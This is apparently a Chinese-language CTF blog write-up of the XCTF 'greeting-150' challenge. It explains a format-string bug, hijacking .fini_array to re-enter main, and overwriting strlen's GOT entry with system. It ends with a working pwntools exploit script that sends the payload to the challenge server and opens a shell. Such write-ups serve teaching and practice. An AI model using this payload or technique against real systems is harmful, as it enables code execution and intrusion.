XCTF-greeting-150-WP

.fini_array劫持 && hijack got

Posted by l0tus on 2023-03-08
Estimated Reading Time 2 Minutes
Words 625 In Total
Viewed Times

checksec


开了canary和NX,没开reload和pie,考虑使用hijack got

反编译


可以看到一个明显的格式化字符串漏洞

测试得到偏移为12,这里需要注意的是我们的输入是跟在"Please tell me your name… “这句话的后头的,这句话本身长度为18,那么我们需要先输入两个字符使地址对齐,然后再用%p输出
但是这道题的格式化字符串漏洞是在return的时候,也就是说按照往常实现任意地址写一次就会退出
这里需要用到.fini_array劫持。是以前没接触过的新知识
关于这个fini_array的详细介绍可以参考这篇文章,这位老哥语言比较诙谐但是内容写的挺不错
简单来讲就是main函数在退出到__libc_start_main之后还会有一个执行.fini_array的步骤,具体就是执行这一块地址的每一个函数指针
细说到main的执行流程,有一篇Patrick Horgan写的名字叫做"Linux x86 Program Start Up or - How the heck do we get to main()?“的文章:(http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html)
这里放一张很不错的流程图:

思路就是覆盖fini_array里面的函数指针为start,就可以做到回到main函数。
接下来就是需要思考怎么获取shell
程序给了system,没有后门函数,那么我们思路就是修改某个函数的got表为system,然后传递参数”/bin/sh”,这里注意到在程序的getnline这个函数里面有调用strlen

这个函数的参数和system一样是个字符串,因此我们考虑把strlen的got覆盖为system的plt
目前我们有strlen的got:0x08049A54,system的plt:0x08048490,.fini_array:0x08049934,start地址:0x080484F0
先覆盖strlen_got的高16位,覆盖成0x804,需要写入字符数的就是0x804-18-2-4=2020(D),然后写入低16位,需要再写入的字符数是0x8490-0x804=31884(D),再写入fini_array,需要再写入0x84F0-0x8490=96(D)
第二次写入/bin/sh即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
#p=process("./greeting")
p=remote("61.147.171.105","54871")
elf=ELF("./greeting")
context.log_level='debug'
strlen_got=elf.got["strlen"]
fini_array=0x08049934
start=0x080484F0
payload = b'AA' + p32(strlen_got + 2) + p32(strlen_got) + p32(fini_array) + b"%2020c" + b"%12$hn" + b"%31884c" + b"%13$hn" + b"%96c" + b"%14$hn"
#gdb.attach(p)
p.sendlineafter("Please tell me your name... ",payload)
p.sendlineafter("Please tell me your name... ",b"/bin/sh\x00")
p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !